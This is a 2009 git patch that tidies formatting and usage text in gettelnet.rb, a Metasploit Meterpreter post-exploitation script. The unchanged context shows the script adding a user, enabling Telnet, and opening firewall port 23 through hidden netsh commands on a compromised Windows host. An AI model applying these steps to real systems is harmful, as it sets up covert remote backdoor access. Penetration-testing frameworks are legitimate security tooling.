From 198bf4873538e4884ea1182916f9a3bbee1ec7e9 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 26 Oct 2009 04:49:01 +0000 Subject: [PATCH] gettelnet usage and spacing git-svn-id: file:///home/svn/framework3/trunk@7269 4d416f70-5f16-0410-b530-b9f4589650da --- scripts/meterpreter/gettelnet.rb | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index 67e719f467..80ecaa38a1 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -10,12 +10,13 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable Telnet Server only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ] - ) + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Enable Telnet Server only." ], + "-p" => [ true, "The Password of the user to add." ], + "-u" => [ true, "The Username of the user to add." ] +) def checkifinst(session) + # This won't work on windows 2000 since there is no sc.exe r = session.sys.process.execute("sc query state= all",nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) if d =~ (/TlntSvr/) @@ -83,7 +84,7 @@ def enabletlntsrv(session) else print_status "\tTelnet Server Services service is already set to auto" end - #Enabling Exception on the Firewall + # Enabling Exception on the Firewall print_status "\tOpening port in local firewall if necessary" r = session.sys.process.execute('netsh firewall set portopening protocol = tcp port = 23 mode = enable', nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) @@ -136,11 +137,9 @@ def message print_status "Windows Telnet Server Enabler Meterpreter Script" end def usage - print( - "Windows Telnet Server Enabler Meterpreter Script\n" + - "Usage: getgui -u -p \n" + - @@exec_opts.usage - ) + print_line("Windows Telnet Server Enabler Meterpreter Script") + print_line("Usage: gettelnet -u -p ") + print_line(@@exec_opts.usage) end ################## MAIN ################## # Parsing of Options @@ -156,15 +155,14 @@ enbl = nil pass = val when "-h" usage - break when "-n" lport = val.to_i when "-e" - enbl = 1 + enbl = true end } -if enbl == 1 +if enbl message insttlntsrv(session) enabletlntsrv(session)